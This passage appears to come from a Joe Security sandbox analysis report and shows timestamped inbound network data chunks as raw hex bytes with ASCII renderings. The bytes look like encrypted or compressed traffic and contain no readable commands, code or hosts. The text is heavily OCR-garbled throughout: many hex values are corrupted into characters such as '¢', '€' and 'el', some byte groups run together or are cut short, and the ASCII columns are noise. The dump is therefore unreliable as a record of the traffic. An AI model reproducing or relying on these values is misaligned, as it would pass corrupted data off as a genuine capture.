d6 de 6d 77 6¢ 1b 23 98 2c 3c e8 1f d6 5a 7d a0 07 6b 89 06 3c c9 e2 3f €3 25 8d 2d ca 95 c1 01 €8 08 86 1c b8 ad 39 fa
84 2¢ 83 b7 47 ee b2 84 05 d0 10 3a 63 08 62 5e 40 1d 93 71 39 25 b0 18 2f b8 36 69 cc 57 09 1d a8 d2 29 5a 7f b8 7e bb
b2 3a b9 46 f4 af 69 56 f5 7c 06 b9 31 9b 26 €3 79 5b ab dc 94 c3 06 a3 bf el 17 2e 05 el bd 58 4c 52 1f 79 fb dd dd 20 f7
66 d1 53 31 81 6e 6e f5 16 fb dc a4 3e 2c 30 f1 5e 3a bc 9c e4 94 1f 93 f7 6d dc 1f d1 08 fa 68 42 2b 83 b0 ed c1 9b 57 e4
39 ab 36 ¢3 25 d1 2c 40 97 67 Ob a4 f0 eb c7 7e €3 3f 8¢ €6 79 66 9d 1d 52 9c e6 bd 79 ea f1 dd cf d6 c3 f5 f7 97 5¢ 37 65
f9 57 15 dd c0 dd 6e 07 39 3a 19 5a 81 48 40
Data Ascii: 6 Tf*LP5tSiX)e.ousmwl#,<Z}k<?%-9,G:cb*@q9%/6iW)Z~:FiV|1&y[.XLRy fS1nn>,0":mhB+W96%,@g~?yf
Ry\7eWn9:ZH@

2021-09-27 16:55:59 UTC 134 IN Data Raw: cd c6 ac f7 d8 95 8c 68 96 37 38 94 da 09 11 cb 1f 9d 82 22 26 28 6e 4f 7c 09 b3 b6 38 9c al 5d 1c 3f b3 3f fc
d3 bf 8b 7e 53 7a f6 30 78 1d d7 Of 36 69 68 da a4 41 17 46 06 bb 9a 76 e2 8d 32 b6 18 82 81 ef 22 cb 20 7c 47 09 69 d4
02 f9 bd 7f 72 d4 db f7 df 1c 57 59 71 40 4 5a c3 Ob 2e 5d 68 cd ee 94 7c 7b 85 39 8a 74 c9 e5 10 07 86 65 0f 89 9f e7 df
8594 1c 43 ¢1 03 55 70 2b 79 Ob 57 3a 54 6a 55 eb 39 ed 4d 38 93 f1 6c 6¢ 9b 9a 82 d2 f4 35 d6 10 94 6f c2 f2 el f5 88
b3 30 e9 3e 70 d8 91 87 d3 79 93 b0 75 d3 d5 8b 79 31 38 13 33 b1 4f e2 5d b5 53 fb b8 f5 ec c1 ab a8 81 88 42 88 dc 3d
fe 32 b0 9c 6a 9a 36 f1 72 96 1b 37 c0 a2 cl ba 15 1c 08 cc 99 f7 7c 3f 5a 58 ce f9 8e 42 f5 fc 90 40 49 50 94 11 69 cO 07
0d ce 94 87 bf Oc 14 c5 bc 21 fe cd 81 55 01 4f
Data Ascii: h78"&(n0O|8]??~Sz0x6ihAFv2" |GirWYq@Z.]h|{9teCUp+yW:TjU9M8II500>pyuy1830]SB=2j6r7|?ZXB@IPi!UO

2021-09-27 16:55:59 UTC 135 IN Data Raw: 1d 05 fe 33 ad c6 8f a4 de 53 29 fc a7 fa 04 c2 5a 93 45 1b ec 5d b8 46 f0 af 6b 59 f5 7c 8b b4 31 8b 00 c5 1a
d8 d5 45 b5 18 10 83 40 fe 33 06 b2 c6 90 4f 40 f4 9e e0 fa dd f9 4c b3 67 d1 49 83 89 41 7c d5 1c 33 a3 3d 3f Oc cb c3 5e
3b a3 8f 56 9¢ 30 82 d7 67 5a 60 48 09 da 3c 6¢ 60 82 a8 c5 76 bc 7a f0 35 0d 03 5b 24 d1 08 72 85 66 Ob bb 4e e6 c7 6e
c5 19 a7 61 07 ff bc 4f 58 bc aa a3 67 c2 46 fa e2 c2 cf 53 ¢5 0f 5d 37 41 ef 46 14 dd df 62 63 07 29 1c 3f 72 06 36 d9 ab
47 31 05 64 be 34 €0 01 40 34 16 37 5b b1 47 cf b2 ab 87 04 eb 48 68 9f 80 cc al d5 08 02 e7 a6 50 a7 b2 8f 54 15 7a c5
69 f8 al 9a 30 f2 e6 cf 10 88 b1 92 05 91 42 ff fd 71 be Oe b5 cb 0f 06 ce 6d 51 54 e2 04 6b b6 19 36 bf 59 88 c6 db 36 84
b6 Oa 5f 8f 5d 62 da a6 bb e5 78 a6 37 94 e2
Data Ascii: 3S)ZE]JFkY|1E@30@LgIA|3=7";,V0gZ H<I'vz5[$rfNnaOXgFS]7AFbc)?r6G1d4@47[GHhPTZIOBqmQTk6Y6_]b
X7

2021-09-27 16:55:59 UTC 136 IN Data Raw: 6¢ ed 9e 9c 54 56 1d 1c al 4c 69 bb €6 07 86 61 0f 30 8b e7 df 00 91 19 7c e5 23 76 5b ad 07 b2 d0 2a 50 4a
3ael 11 0 d5 1d b8 c9 cc 32 72 9a 82 d6 f4 af c2 10 94 ea ea {7 de d1 a8 93 1b 6f 40 c9 48 81 83 f3 17 9f 98 58 4b 0 a0
4191 66 fb 33 b1 4b e2 b3 a1 53 fb 3d dc e9 fe 8f 88 a0 a3 c4 6 65 a2 ee 36 90 f1 62 b2 1b 69 57 bd 23 97 %e 49 c1 ba
11 1c f5 d8 99 f7 f9 10 5f 67 ea d9 a0 69 73 82 29 e6 59 54 b4 7d 7a €8 2a 95 eb bf bf 1b 52 fe ¢5 bc 25 fe 3b 95 55 01 ca
a6 5d 06 81 05 3e 80 18 03 ¢4 5 36 €3 9¢ 07 91 e4 db 17 €7 55 7e Ob 97 d3 78 52 61 68 d1 0d 16 bb bd 29 5d bd 0f 06 73
25 ¢5 92 b9 50 b1 d3 92 7d 36 ab 39 d1 97 f7 56 46 45 a2 c4 2a 54 a4 69 4e 63 c5 f1 1e c5 6b 6a 57 fd c5 ee b7 6d 0a c4
a9 69 3d 26 98 15 69 bb cd 51 e6 90 4c Oc f 4f 6
Data Ascii: ITVLiaO[#v[*PJ:2ro@HXKAT3KS=eBbiW#I_gis)Y T}z*R%;U]>6U~xRah)]s%P}69VFE*TiNckjWmi=&iQLO

2021-09-27 16:55:59 UTC 137 IN Data Raw: ed c1 9b 57 e4 39 af 36 ¢3 25 d1 2c 40 00 67 Ob a4 f0 eb c7 7d e3 3f 1b e6 79 66 9d a5 4b 9c e6 b8 4f ef de df
c9 fa 6f 0d 10 Of 5d 33 41 4e 54 14 dd 5a 62 66 38 0d 3c ae 59 80 48 60 44 50 35 25 36 af 1c cd 99 65 1f 2e 97 05 65 47 cf
b6 ab 44 16 eb 48 ed 9e 85 f3 85 f5 96 29 61 d8 e9 58 a5 8b 74 44 76 ed 44 60 84 b1 08 52 b8 18 10 88 b5 92 e3 83 42 ff
78 76 bb 31 91 eb 90 2d 48 13 e8 5e fa 00 4b €6 17 1e 92 c1 ad ed e3 92 da 60 Oa 5f 8b 5d 59 c8 a6 bb 60 79 a3 Ob b0 c2
be 8c 1d 17 f1 a0 8e al 83 c4 ff 42 50 30 8 20 6f ec fe ff €8 ca df 7e 4f 11 76 61 €6 c4 08 12 7e 1b el 7c e7 f3 9a b4 28 6
b1 54 d8 d4 d7 3a bd 86 76 83 5f 56 f8 16 43 c4 35 bd 6c 03 03 24 5¢ 52 8f b9 cd ea 56 01 39 87 ef 1b 7 1f €8 f4 5¢ 48 11
96 40 ¢3 80 aa 30 79 4a 03 25 d8 02 4b 7d
Data Ascii: W96%,@g}?yfKO0]3ANTZbf8<YH DP5%6e.eGDH)axtDvD RBxv1-H K"_]Y'yBPO 0~Ova~|(T:v_VC5I$\RVO\H
@O0yJ%K}

2021-09-27 16:55:59 UTC 139 IN Data Raw: 6a a5 fe a3 8 18 32 fd fa b3 1b f7 52 2d 30 b1 be al e5 97 00 1a 00 70 98 {7 €6 3a fd 53 e8 d9 bb 6b d8 fe b0
el 73d2ea 97 7ae8 2e 2f 70 93 ad 3d e8 a8 e9 ad 03 fe 5a 81 55 01 f5 3c 6¢ 2b 83 19 10 87 9c 7d 5b de b0 99 25 72 90
€0 fb 32 ¢3 78 6¢ b7 92 8a 6b 74 41 7 3a 18 16 9b 35 06 75 90 12 0f 5d 22 45 ec 26 7b 37 a9 2b 09 37 af 19 8b b3 da 47
fa 40 fa d7 Oc 74 44 48 58 63 5 4c 2f 8 69 75 7d ff 6a 92 2e 6a 20 42 f7 86 3d 26 9c af 8d 97 dc 77 5¢ ¢3 60 1d b9 4f 10
ba ad 94 e4 bc b3 88 73 09 bf f5 77 b8 b8 08 48 22 ea 22 60 ab 75 a4 2f eb b7 ca 10 59 Oc e2 5e 24 2a 3e 92 78 fd 7c Oe
7499 dd 89 1d c7 36 bl f1 ff 36 2d 7a 4f bb 14 df 69 57 0a 3e Oe 8a 90 39 06 0f fO 7a al 7c 1e 6b a9 31 3f el cf 23 cb Oe
a5 ab b2 26 46 7f 75 29 42 19 98 50 a3 df a9 a4
Data Ascii: j2R-0p:Sksz./p=ZU<I|+}[%r2xIktA:5u]"E&{7+7G@tDHXcL/iu}j.j B=&w\"OswH"" u/Y $*>x|t66-z0iW>9z|k1 ?#&Fu
)BP

2021-09-27 16:55:59 UTC 140 IN Data Raw: 94 61 73 56 c7 69 64 ae 31 5c 4d c7 81 15 a8 55 b3 7a 82 d8 da cf 41 b0 03 53 ca 09 2c 68 69 d3 55 e2 1f 42
d1 35 34 bf ¢5 87 6d b7 89 a5 f9 0Of 7f 6a 7c c3 c9 3¢ 9e d7 4e a8 3a 73 e3 24 8d 3d 94 ca ba 96 be 89 f4 fa 6d 52 36 d4 8c
97 Ob 66 fe ec ee 19 e4 4e 11 ec de ee fb 3c 14 b8 81 e0 7c c7 5e 9d ac 28 e9 a5 60 dd fb d5 3c 91 2e 8e 64 c7 57 fc 32
84 59 34 bd f6 bc Ob 18 68 54 48 24 cc ea 76 b9 1a 9f ef 07 c0 3b c2 d9 58 62 95 c2 5b bc 19 af 10 95 6b 9e 24 42 27 fc
49 c7 a3aadb 54 17 7d 72 72 3a df a4 Oc bd a6 a9 a8 01 63 95 37 6 de bb 2a ff Oe 36 38 Oa df 06 02 ed 3f ee a6 0f 34 2e
eb 76 7d 09 ac 9c 7c al a3 5d 05 1f 1d 6¢ 67 d2 b9 a5 dc c¢7 e2 f7 30 e6 18 d9 1c 10 49 18 fe 89 50 11 c9 3e ba 9a 69 c9
d3 0f b4 18 99 83 40 5e 52 27 56 ¢5 57 1b d4 02 fd
Data Ascii: asVid1\MUzAS, hiUB54mij|<N:s$=mR6fN<|*('<.dW2Y4hTHS$v;Xb[k$B'I T}r:c7*68?4.v}{]Ig0IP>i@"R'VW

Copyright Joe Security LLC 2021 Page 26 of 35



kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 141 IN Data Raw: 90 12 0a 5d 22 45 ec 26 7b 37 a9 2b 09 37 af 19 40 b0 da 47 fa 40 fa d7 Oc 74 8f 4b 58 63 e5 c8 2b €8 69 75 5¢
ff 6a 92 2e 6a 20 46 7 86 3d 26 9c af 40 94 dc 77 5¢ ¢3 60 1e b9 4f dd b9 ad 94 e4 41 b7 88 73 08 99 fO 58 ba be 24 e0 da
0d ba 61 af 51 46 23 €9 b7 50 af 51 30 d6 58 c6 26 3c 92 58 09 5a 13 74 87 ea b6 37 ea 32 9b 71 ab 29 52 e3 4a 9b d3 fe
67 55 90 1b b9 bd 9b 0b e3 2e fe 78 81 a0 27 3a b4 2e 32 d6 f1 09 e6 Oa 8f 2b €6 39 39 e6 70 09 82 38 97 52 39 fa le 93
8b 88 73 €8 9d 7b 05 dO 30 7e 4e 06 62 41 49 2e 96 5e 3b 23 9c b4 d3 5f ae 68 c8 73 39 el a8 d2 b3 e5 77 87 49 bd 82
c6 b9 46 d4 f5 3f 58 f5 63 06 b9 31 9b 26 €3 79 5f ab dc 94 ¢3 06 a3 51 €3 17 2e 05 el bd 5b 4¢ 52 f1 7b fb dd dd fd e4 66
d1 56 10 84 41 6¢ f3 3a 53 24 43 a6 2d 34 d5 7e 29
Data Ascii: '"E&{7+7@G@tKXc+iu\j.j F=&@w\' OAsX$aQF#PQOX&<XZt72q)RIgU.x":.2+99p8RIs{0~NbAI.;#_hsOwIF?
Xcl&y Q.[LR{fVA:S$C-4~)

2021-09-27 16:55:59 UTC 143 IN Data Raw: c1 f3 b7 ae 28 f6 8e f4 d0 f9 d5 25 b0 84 dd ff c6 51 d2 90 1d c1 35 bd 68 b9 14 0b 4e 74 35 00 el fb 70 01 33
9d ef 1b c¢8 d1 e0 d9 5e 55 3f 91 c0 bd 1f 81 b6 03 f3 9f 24 dc 22 e2 5a el 83 d8 ff 79 05 7b cc 5a 38 df b9 04 5e 84 a9 ae
34 d4 c3 83 f5 de b9 20 90 71 af 39 90 fe Ob 24 c9 1f 07 3d 2a 19 1c 68 4d 49 Ob b3 96 74 73 81 5d 03 2a 91 3a d3 d1 b9
a7 d6 ab 9d 6e 31 7c 39 d4 3b 34 69 f2 65 ac 7d 23 40 05 8f 98 76 c2 db 2b 97 18 9f b6 ed 08 e6 24 56 c7 5d 76 ab 9b fc
9d 5f 53 e2 d9 6d fa ab 60 52 43 42 d5 6¢ c1 2b 53 6d 50 ec f1 9d 4b 5d af 14 8e 5e 49 b1 0f 78 1f 60 2f a8 be d0 dd 1f bl
ab 74 ca 3156 51 1c 7b 2b d1 0a 17 4b 4a e0 Oe c9 67 15 97 db ec 38 80 e5 1b d7 d4 17 f7 28 96 f5 e7 45 d6 fe b9 b3 11
d1 3¢ 50 49 al cb f2 66 9e 84 70 fc d7 8d 55 9d
Data Ascii: (%Q5hNt5p37U?$"Zy{Z8"4 q9%$=*hMIts]*:n1|9;4ie}#@v+$V]v_Sm RCBI+SmPK] Ix /t1VQ{+KJIg8(E<PIfpU

2021-09-27 16:55:59 UTC 144 IN Data Raw: 5a 29 65 94 51 aa e7 82 3f 9f 32 9b 77 al c2 0f 7a 4b 84 cf f6 44 55 90 1d 09 1e c8 80 c4 Oe f4 5a d8 a2 07 6b
33 0b 1f db c4 01 92 Oa 8f 2d ec 3a 64 7f 71 16 89 30 b5 52 39 fc ae 34 d8 03 54 c8 96 59 5f d2 10 1a c9 23 4f 4f 79 26 el
5e 3b 25 96 a6 8e c6 af 76 e4 7e 2b e3 ae 8 af be c3 94 6f 99 b2 9f bb 46 f4 15 07 75 e7 5a 31 ca 1le 99 26 c5 cf fa d5 45
8a db 2a ae 42 el 11 04 1d ba 09 48 6a 76 c0 25 f9 dd fd f6 dc 4b c0 6f 39 fO 6e 6e f3 1c cd 81 3d 3f 36 1c fc 5¢ 3b ba b6
fc cf ab 83 d1 49 fc 43 d3 08 da a2 69 06 92 8e e5 b1 9b 57 e2 33 95 6b 5a 24 cf 00 4d 94 66 0d 8e ec b0 73 6d c5 1b ad
b9 7b 66 bd d5 79 bl f4 84 47 9c de df cf f0 29 50 89 Oe 42 26 49 f4 57 14 db ea c1 35 b3 2a 1c 3d 78 df 4a 40 aa dd 10
08 3b 99 14 bf 99 65 19 24 c0 58 fc 46 d0 92
Data Ascii: Z)eQ?2wzKDUZk3-:dqOR94TY_#0O0y&";%v~+0FuZ1&E*BHjv%Ko9nn="26\;|CiW3kZ$Mfsm{fyG)PB
&IW5*=xJ@;e$XF

2021-09-27 16:55:59 UTC 145 IN Data Raw: 8d 89 4a 97 4f 6d 79 29 cc 94 54 8c 3b 78 2e 27 bd 32 81 d1 b9 al dc 9e c6 7 30 63 33 dc 23 34 69 f4 d5 Of 2e
a8 67 25 be ba f6 cO fb 22 2¢ 3d b2 bb e4 00 4b 24 56 c1 57 31 f0 02 fd 82 47 5b f9 d9 6d fc 1b c3 01 c8 65 5 5e e3 aa 51
4d 68 57 d4 b0 46 70 a7 b8 8e 5e 4f bb 54 23 86 61 30 b1 b6 ca dd 1f b7 1b d7 99 ba 71 71 2f 59 a9 d3 2a 54 f0 6f cd 03
€6 6f ba 97 db ea 32 f8 be 82 d6 cb le ff 3d 96 f5 el f5 75 ad 31 94 31 ed le d3 4b 81 87 49 43 b3 8a 7e f1 56 8f 53 b7 66
8d 14 b1 4b dd 6e 9c 7e f9 22 d6 eb 55 f3 11 a7 89 46 a8 78 al ee 32 2a a6 4e a0 3d d3 f6 92 31 b1 9e 20 e6 ba 11 23 34
e5 b4 5 e6 1c 5d cc 96 40 a7 43 f1 dc 35 e5 59 50 Oe 2b 56 fa Oc 2f 4b 90 ad 3d 52 a2 e2 bc 25 c1 f3 a8 78 03 d5 ab 5f a9
fd 9c 39 aa 9a 5d db f6 36 e7 26 56 bd f5 fd
Data Ascii: JOmy)T;x.'20c3#4i.g%",=K$VW1G[me "QMhWFp OT#a0qq/Y*Too2=ul1KIC~VSfKn~"UFx2*N=1
#4]@C5YP+V/K=R%x_9]6&V

2021-09-27 16:55:59 UTC 146 IN Data Raw: 58 aa 62 02 7e d2 86 a8 08 63 ac 48 f0 63 f0 17 aa 8a d0 68 c4 57 f8 32 dO 7e 34 bd 7b b1 Ob Ob 4e 72 85 a7
b2 73 57 21 05 bf 79 19 e8 16 5a fc 73 59 31 9c 54 bf 19 ab 10 c9 4c 9e 24 c0 2a fc 5a el 85 68 58 2a 8e 5¢ ec 6d 1a 48
bb 24 90 3e 8c 83 3a c3 cb 39 f5 de bf 2a a0 29 36 38 87 d2 06 12 cb 19 2d 25 71 ad Of 4e 69 5d 91 b1 96 54 16 84 70 12
13 bb 8a fc d3 b9 81 4b Ob e3 f7 28 54 10 f6 Oe 30 43 70 81 10 51 31 62 05 23 98 76 c2 61 07 9b 09 b9 89 5b 22 cb 26 76
7851 f0 d5 15 d5 b0 59 73 d2 1 ef 84 a8 44 7f 55 44 6f 58 ¢3 2b c9 68 45 dc d7 bd ce 54 87 39 ac e4 69 9b 89 1e ae 4c
2d ac 98 cd 5d 61 28 30 51 3 03 eb 73 2b 79 b1 f4 07 45 4c 6a 7b 13 c0 4f 18 29 fd ea 12 1e b3 af d4 d4 15 fd 92 ea 6¢
€6 df {7 {3 34 97 31 e9 a4 75 64 90 al 3 fa 9c 98 58 f1
Data Ascii: Xb~cHchW2~4{NrsW!yZsY1TL$*ZhX*\mH$>:9*)68-%qNi] TpK(TOCpQ1lb#va["'&vxQYsDUDoX+hET9iL-]a(0Qs
+yELj{O)l41udX

2021-09-27 16:55:59 UTC 147 IN Data Raw: 98 b2 3f 92 5¢ 09 d9 Oc 74 87 6f 81 32 d5 16 bb cb 83 af 2c 5a 59 b3 d7 de 76 41 b8 36 21 98 b0 33 43 70 69
7b 81 a4 27 d6 ab 2e 32 53 ¢7 Oc d9 2e af 90 ce bf 47 5f 59 21 86 18 87 5e 11 d7 86 b6 a0 b0 d7 b6 Ob 78 05 d4 30 a4 51
06 62 c4 7a 2b aa 7a 1b 9b b4 32 ad e6 99 40 cc 53 32 cb 85 d0 29 c6 70 13 11 04 93 c4 bd 66 4b 8d 22 58 6f 59 3c 83 3a
b9 99 e7 53 d9 f5 7e bd ¢3 02 9c 4e c9 3a 2c 9f c2 ba cb 14 eb el 79 ff fd 3d 6e f9 66 4b 6¢ 34 bd 4a 4e 33 3e 79 a2 1d 76
04 34 d1 40 13 91 9e 7e b7 18 00 af d4 dd 1e d5 28 1b 3a 4c 2b 19 8d e8 fd bf 77 23 11 2d 48 7a 75 f9 28 60 88 4e 26 a6
6a c8 c0 ea bb 86 8¢c e7 7d 46 7f 4d 5¢c 9c 7c 87 4a dO fa ff 0d d2 e9 73 a9 57 75 37 61 c6 44 3c fO c2 47 4d 00 ad 62 a0
59 80 4¢ 60 69 45 35 25 b3 9a 19 f2 bd 45 da 06 11 7b
Data Ascii: 2\to2,ZYVA6!3Cpi{.2S.G_Y!"x0Qbz+z2@S2)pfK"X0Y<:S~N:,y=nfKI4IN3>yv4@~(:L+W#-Hzu('N&j}FM\
|IsWu7aD<GMbY L iIES%E{

2021-09-27 16:55:59 UTC 148 IN Data Raw: 3b cb 1f 1f 8f 22 36 Oe 48 47 ff 77 2a 97 54 88 81 be 01 35 9b 88 db fe a8 87 dc ce el {7 30 5c ae df Oe 36 77
da d2 8b 50 37 4c a3 ¢4 03 77 c2 ff 02 52 1a 9f a9 58 05 6 34 70 e1 93 f2 d5 02 dd 06 70 73 d4 c4 66 d2 1c 47 7157 4e
77 24 5a 2a 53 49 48 28 f3 9d 54 cc a2 14 9d 78 6f 7e 8b 06 86 41 89 87 e e7 c1 37 9c 33 51 el 09 6 Of b2 78 2b d5 Oa
b2 68 4a €0 8b 5 62 2a b3 fb Oc 10 02 9b a2 78 ff 13 d7 Of be dd ca dd f3 d5 82 13 4f 70 3f 50 4d a1 60 d1 66 9e 02 7d fc
c7 ab 73 50 44 8a 32 91 93 9 7a b4 4c ed 0a fd c3 d3 8b a2 20 7 db 89 fc a7 ce da b2 83 63 28 3e de 60 b6 11 59 bc 3b
0 9aff 17 20 cd 86 fd ce 37 75 4a ee f3 24 3d 6¢ fd b0 €3 79 b9 96 Oe 7b 72 Of 22 df b4 8d d4 70 8d c4 9c dd 5 e4 80 49
29 8 af 75 2d a9 83 46 33 9f 7d 59 d4 dc e5 bc
Data AsCii: ;"6HGW*T50\6WP7LWRX4ppsIGWNWSZ*SIH(Tx0~A73Qx+hIb*xOp?PM flsPD2zL c(>Y; 7ud$=ly{r"pl)u-F3}Y

2021-09-27 16:55:59 UTC 150 IN Data Raw: 29 c0 7a fd 42 9d 92 db 8b 6e d9 8d 22 5e df fa 6f 08 1d 99 22 c5 59 da d5 45 0f e6 2f 91 66 c1 1d 2d 9f c4 b0
d3 47 72 €0 66 €0 f5 dO 6e f9 60 fb cf 67 35 6d 6e f7 1c 72 al 3d 3f b6 11 fc 4c 1d 9c 97 7d bl 32 a2 64 60 dc le ce 21 2
15 4e 2b 85 82 43 92 00 56 €2 17 0d 44 59 24 d1 b2 45 bb 74 2d 84 66 cd ea 6¢ €5 c1 a0 e7 79 79 8¢ 67 71 9e e6 a4 4d
44 a2 46 ce d0 ed 53 84 0d 5d 37 fb fc 78 06 fb €0 4a 48 2a 2b 3¢ 36 76 80 48 5f 88 6f 18 27 29 b9 le 66 €5 fc 18 04 15
5b f2 45 cf b2 11 9 3a f9 6e 57 b5 ab el a3 f5 3f 06 61 d8 d6 bd 9a a6 76 5b 7d ef eb 1c 1d b6 22 dO e6 8e 12 88 b1 28 5f
af 53 d9 ¢2 5¢ 95 23 b7 eb 45 02 48 13 df 7d cf 02 4b ff 32 b4 c1 5a ac eb cd 30 b4 fa Ob 5f 15 58 ee d8 80 9b ea 5f 8e 1a
b6 af 0a 8d 1d 0d f9 97 94 al 85 f6 51 11 cb 31
Data Ascii: )zBn""0"YE/f-Grfn'g5mnr=2L}2d"IN+CVDY$Et-flyyggMDFS]7xJH*+<6vH_0")f[E:nW?av[}"(_SWEH}K2Z0_X_Q1

2021-09-27 16:55:59 UTC 151 IN Data Raw: 71 95 e5 5d 67 0f 35 ec 50 c4 9c 3c dd 87 96 ae el ac 5e b0 e7 d1 ce 6¢ 96 4f d9 ad 52 71 5b b4 ba 16 09 5a
4e 81 5e b4 02 77 65 40 6b 49 01 08 93 4f 93 f1 f1 3e 06 7e c4 3a 7c f8 62 61 20 e6 1f ea 76 c3 4b f1 6b d8 12 f0 4f 86 22
30 60 d3 d3 fe c1 1f d4 a7 el be 75 b5 f1 11 da 6d 9a 2d c5 6e fc €8 53 8e ee 57 6a 53 90 c0 b3 b7 68 18 35 a2 a9 dc 29
8a be c2 81 2b 30 b2 4b 0d 82 47 67 b3 f9 fc 52 Ob e2 b7 8f 66 a0 94 €3 36 75 cd a3 41 0d 9d Of 26 a6 dc 4d 49 f4 32 ec
bd 4f 8b f1 ¢7 91 c4 27 52 22 aa a3 7a 46 65 66 2e 03 38 95 92 0a 62 be 2f 2f 52 34 45 df 09 61 86 f7 9a 0f 3a 81 02 66 ce
€3 7447 54 cf el 14 64 b8 96 9e eb 2e 30 f6 33 b7 ad 80 3e 94 5f ed al da 17 6e 2 f6 fd 55 13 b5 45 1b a6 34 38 88 d7
47 8c 2f 5e 67 72 39 93 4a 63 85 fa 4a Ob 81 59 49
Data Ascii: q]g5P<"lORq[ZN"we@kIO>~:|ba vKkO"0 um-nSWjSh5)+0KGgRf6uA&MI20'R"zFef.8b//R4Ea:ftGTd.03>_
nUE48G/*gr9JcJYI
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 152 IN Data Raw: ec 8e 37 d0 5d 63 f9 78 ca 01 73 f7 bc 34 c0 c2 04 73 2a b4 18 4e 0a 59 5f 40 ce 26 9d c5 95 d1 46 el ba 69
75 e0 fe cd d5 94 8f f5 2b c1 cf 34 b1 d4 c6 c¢8 46 dO 1b 81 60 00 7d 70 07 84 40 c8 a3 €9 9c 41 bc 00 3b e2 f2 ad f3 84 5f
3b 24 c7 8d el f4 90 25 00 3c a2 4f 1f ff d5 48 b6 a8 ec 76 ed d4 92 5b e7 2a 95 c2 77 a9 51 dc ec 2a 18 3¢ 77 €2 65 84
61 31 e7 48 1d b9 dd ab e2 c0 52 93 fc 12 4d d2 39 9a d5 b2 ad 7 02 92 09 87 ff 25 c0 4e 42 96 fe 81 da aa f5 bc 1f 21 1e
8d 13 8a ee 09 da 91 aa 86 dd 2b 14 13 8a fe 8b 67 5a 6b bf df 5e 90 e4 bc 6a ec 2c 3a c4 7c 65 48 a8 28 3c 61 79 5f db
74947 86 e2 6d a7 1b a7 94 9b ab 70 e7 45 18 82 c7 9 72 5a f3 08 f4 39 7b be a7 fa 55 37 04 be 12 9b d5 91 61 8d 72
bd 7d b0 33 53 97 06 bd be 98 61 ee bd 45 68 f4 52
Data Ascii: 7]cxs4s*NY_@&Fiu+4F Jp@A;_;$%<OHv[*wQ*<wealHRM9%NB!+gZk"j,:|eH(<ay_tmpErz9{U7ar}3SaEhR

2021-09-27 16:55:59 UTC 153 IN Data Raw: c4 1a 18 9b 7b 04 b3 92 df 6b 37 5f 55 fe d1 ff 5f 6e 0d a0 08 03 5d 05 €8 el 73 ee 8e 02 84 66 bl e8 c8 6e 61
8e 8f f1 68 8a fb f1 1b 4b 94 8 39 60 9a 69 43 c6 c0 3d Ob a0 62 bf ff 2e c4 82 a0 ea a7 1f 00 58 d8 c9 15 30 12 2a 5b 7f
7b d3 d6 6a 09 f5 69 61 58 60 29 81 72 28 d6 ba f3 0d 1f ac 3d 55 a8 c2 4f 4a 67 c4 cc 3f 5b 81 19 13 2a fe fa 38 ee 46 6e
50 d0 52 8c 1c 69 17 c3 a6 08 23 3c b5 b2 69 ab ea 1a d5 cf 6e 27 b7 78 ee 87 a7 a8 fb 4b 91 el 11 75 ca 83 2e e5 df 47
52 d7 d6 80 c3 0a cc fb bc 68 56 95 f7 b0 d1 00 b0 02 fa e3 4f 86 e5 ac d5 a8 59 6b 61 cd 1d el 55 93 6a 53 cf 90 a9 62
3132 8aa37bf9c9 6901 af 70 ba 43 c8 30 10 b8 d5 14 92 89 73 5b 99 Oc ce 4a €9 0f 7d 86 bf be c7 4b 81 73 bd f0 32
7347 3316 ¢7 43 07 f4 96 51 94 c4 c3 9e e4 c6
Data Ascii: {k7_U_n]sfnahK9'iC=b.X0*[{jiaX")r(=U0Jg?[*8FnPRi#<in'xKu.GRhVOYkaUjSbh12{ipC0s[J}Ks2sG3CQ

2021-09-27 16:55:59 UTC 155 IN Data Raw: 6e 51 55 95 67 al 18 8e 41 87 33 df b3 4c 6f Oe 5f 9f 07 e4 64 1d b9 46 68 €9 8e fa b5 99 0d c6 a3 58 05 dc 38
d7 ac de df 86 30 e3 61 f5 9d 12 cc 5b 22 94 89 a6 96 b4 fe 8d 4e 0d 02 d6 26 ba b1 5a ad cd el db dd 60 3e 2a d3 9a b6
42 1d 78 al b2 25 d6 d1 80 €9 11 ff b3 55 eb e8 dd 2e a8 b3 f3 bb 87 62 cf 52 11 21 3e d9 64 €6 2b 72 21 03 aa 55 bf 80
26 21 63 f4 9a 74 87 7e af b2 4e 2d 01 de d6 d8 74 a9 f3 b8 a6 58 fd 04 8e 3f 88 27 47 86 12 87 da 99 3a al c7 50 3e df
1b 21 28 25 b6 6d 6¢ 5b 76 46 01 c7 dd bf 95 8f 25 33 9¢c be 79 ad b1 64 bf f5 a0 96 b6 d6 d5 6f 5d a0 70 56 a2 e5 dO 2¢
€2 0454 3320 7b €3 4f 7e af ea b7 72 86 b3 ef 62 7f 53 e8 bb fa bf 20 08 ff 59 69 be 74 ab 58 18 04 df 42 ab b2 3e fa Ob
2f ed Oa 6e df 82 3e 5d 90 17 d9 b0 e7 ca ff 10 b7
Data Ascii: nQUgA3Lo_dFhX80a['N&Z >*Bx%U.bR!>d+r!U&!ct~N-tX?'G:P>!(%ml[vF%3ydo]pV, T3 {O~rbS YitXB>/n>]

2021-09-27 16:55:59 UTC 156 IN Data Raw: b9 2d 5a a2 cf 52 20 7f ca df 32 21 df 1c 1a 1a 83 85 56 8a 32 14 3d bb 37 f6 40 18 60 82 e5 6b 46 52 ¢3 fd 3c
e9 aa 36 a0 94 2f 6e fa 12 aa b6 8f 88 ¢8 6¢ a4 90 77 1a 9a fb 7b ab b7 32 dc 4f 6f 35 76 bf 59 29 7d ed bc 54 69 2f 47 bd
01 82 6d 7c b4 74 Oc 4c 20 42 b7 f1 84 2d el 30 bb 4e a8 8e 05 50 40 b5 e3 fc 56 62 85 28 07 8a 8f dc 0d cd 79 96 5¢ 63
dd ba 6f fc d2 23 09 d0 3d 7 66 c6 25 53 b7 85 85 {7 70 f4 75 a2 7 20 75 72 7e 4e 89 36 79 94 fc 37 el c6 bl ef 8b bc b3
fb Oe a0 db d5 4d c0 43 21 4f 9d 2f ab df 1a 58 05 ff 58 d2 08 f3 06 10 54 3e 9b 33 21 b1 8a 5b fc b2 01 a6 0f bl 6d da 5b
1c 9a 4b 71 8c 19 f1 45 af ¢8 35 65 32 c1 de de 67 f7 69 47 6a db 55 e0 7a e3 af 14 da de 4b 9d f6 22 9f 80 d0 bc 74 06 7f
f2 dc 3c fb 6d f3 92 0d 9f 50 82 41 8a 6e
